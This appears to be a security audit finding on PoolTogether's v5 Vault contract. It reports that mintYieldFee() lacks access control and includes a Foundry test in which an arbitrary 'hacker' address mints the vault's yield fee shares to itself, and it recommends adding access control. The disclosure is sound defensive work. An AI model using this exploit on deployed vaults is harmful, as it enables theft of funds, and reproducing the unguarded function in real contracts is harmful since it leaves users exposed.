PoolTogether - LuchoLeonel1's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

Impact

The function mintYieldFee() has no access control and anyone can mint the yield fee for themself always that the vault is collateralized.

Proof of Concept

mintYieldFee() only checks if the vault is collateralized but has no access control. This way anyone can mint the yield fees. https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

Add this test to pt-v5-vault/test/unit/Vault/Liquidate.t.sol

function testEveryoneCanMintYield() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

    uint256 _amount = 1000e18;

    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));

    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

    (uint256 _alicePrizeTokenBalanceBefore, uint256 _prizeTokenContributed) = _liquidate(
      liquidationRouter,
      liquidationPair,
      prizeToken,
      _liquidatedYield,
      alice
    );

    assertEq(prizeToken.balanceOf(address(prizePool)), _prizeTokenContributed);
    assertEq(prizeToken.balanceOf(alice), _alicePrizeTokenBalanceBefore - _prizeTokenContributed);

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    assertEq(vault.balanceOf(alice), _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);
    assertEq(_yield, _liquidatedYield + _yieldFeeShares);

    assertEq(vault.liquidatableBalanceOf(address(vault)), 0);
    assertEq(vault.availableYieldBalance(), 0);
    assertEq(vault.availableYieldFeeBalance(), 0);

    address hacker = makeAddr("hacker");
    assertEq(vault.yieldFeeTotalSupply(), 1 ether);
    assertEq(vault.totalSupply(), 1009 ether);
    assertEq(vault.balanceOf(hacker), 0);

    vm.stopPrank();
    vm.startPrank(hacker);
    vault.mintYieldFee(_yieldFeeShares, hacker);


    assertEq(vault.yieldFeeTotalSupply(), 0);
    assertEq(vault.totalSupply(), 1010 ether);
    assertEq(vault.balanceOf(hacker), 1 ether);
  
    vm.stopPrank();
  }

Tools Used

Manual review

Recommended Mitigation Steps

Add access control

Assessed type

Access Control